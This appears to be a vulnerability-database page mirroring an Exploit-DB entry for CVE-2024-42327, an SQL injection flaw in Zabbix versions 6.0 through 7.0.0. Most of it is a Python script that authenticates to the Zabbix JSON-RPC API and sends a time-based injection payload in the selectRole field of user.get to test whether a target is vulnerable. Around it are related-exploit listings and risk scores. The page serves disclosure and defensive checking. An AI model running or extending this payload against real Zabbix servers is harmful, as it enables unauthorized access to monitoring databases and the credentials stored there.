Lucene search
K

Zabbix 7.0.0 - SQL Injection

🗓️ 16 Apr 2025 00:00:00Reported by m4nb4Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 251 Views

Zabbix 7.0.0 is vulnerable to SQL injection; exploit CVE-2024-42327 discovered by Leandro Dias Barata.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2024-42327
18 Apr 202517:24
githubexploit
GithubExploit
Exploit for CVE-2024-42327
12 Dec 202401:32
githubexploit
GithubExploit
Exploit for CVE-2024-42327
3 Dec 202412:44
githubexploit
GithubExploit
Exploit for CVE-2024-42327
7 Dec 202421:25
githubexploit
GithubExploit
Exploit for CVE-2024-42327
6 Dec 202416:06
githubexploit
GithubExploit
Exploit for CVE-2024-42327
1 Jan 202518:25
githubexploit
GithubExploit
Exploit for CVE-2024-42327
1 Dec 202400:15
githubexploit
GithubExploit
Exploit for CVE-2024-42327
16 Feb 202507:33
githubexploit
AlpineLinux
CVE-2024-42327
27 Nov 202412:04
alpinelinux
AstraLinux
Astra Linux - уязвимость в zabbix
20 May 202605:53
astralinux
Rows per page
# Exploit Title: Zabbix 7.0.0 - SQL Injection 
# Date: 06/12/2024
# Exploit Author: Leandro Dias Barata @m4nb4
# Vendor Homepage: https://www.zabbix.com/
# Software Link: https://support.zabbix.com/browse/ZBX-25623
# Version: 6.0.0 - 6.0.31 / 6.0.32rc1 6.4.0 - 6.4.16 / 6.4.17rc1 7.0.0
# Tested on: Kali Linux   kali-linux-2024.3
# CVE: CVE-2024-42327

import requests
import argparse

HEADERS = {"Content-Type": "application/json"}

def main():
    parser = argparse.ArgumentParser(description="CHECK for CVE-2024-42327")
    parser.add_argument("-t", "--target", required=True, help="API URL")
    parser.add_argument("-u", "--username", required=True, help="Username")
    parser.add_argument("-p", "--password", required=True, help="Password")

    args = parser.parse_args()

    url = f"{args.target.rstrip('/')}/api_jsonrpc.php"

    # Login to get the token
    login_data = {
        "jsonrpc": "2.0",
        "method": "user.login",
        "params": {"username": args.username, "password": args.password},
        "id": 1,
        "auth": None
    }

    try:
        login_response = requests.post(url, json=login_data, headers=HEADERS)
        login_response.raise_for_status()
        auth_token = login_response.json().get("result")

        # Simple SQLi test
        data = {
            "jsonrpc": "2.0",
            "method": "user.get",
            "params": {
                "selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
                "userids": ["1", "2"]
            },
            "id": 1,
            "auth": auth_token
        }

        test_response = requests.post(url, json=data, headers=HEADERS)
        test_response.raise_for_status()

        if "error" in test_response.text:
            print("[-] NOT VULNERABLE.")
        else:
            print("[!] VULNERABLE.")

    except requests.RequestException as e:
        print(f"[!] Request error: {e}")

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Apr 2025 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.9
EPSS0.91398
SSVC
251